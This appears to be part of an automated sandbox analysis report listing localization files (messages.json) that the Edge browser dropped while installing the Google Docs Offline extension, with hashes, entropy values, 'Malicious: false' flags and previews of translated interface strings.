C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7448_234895157\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
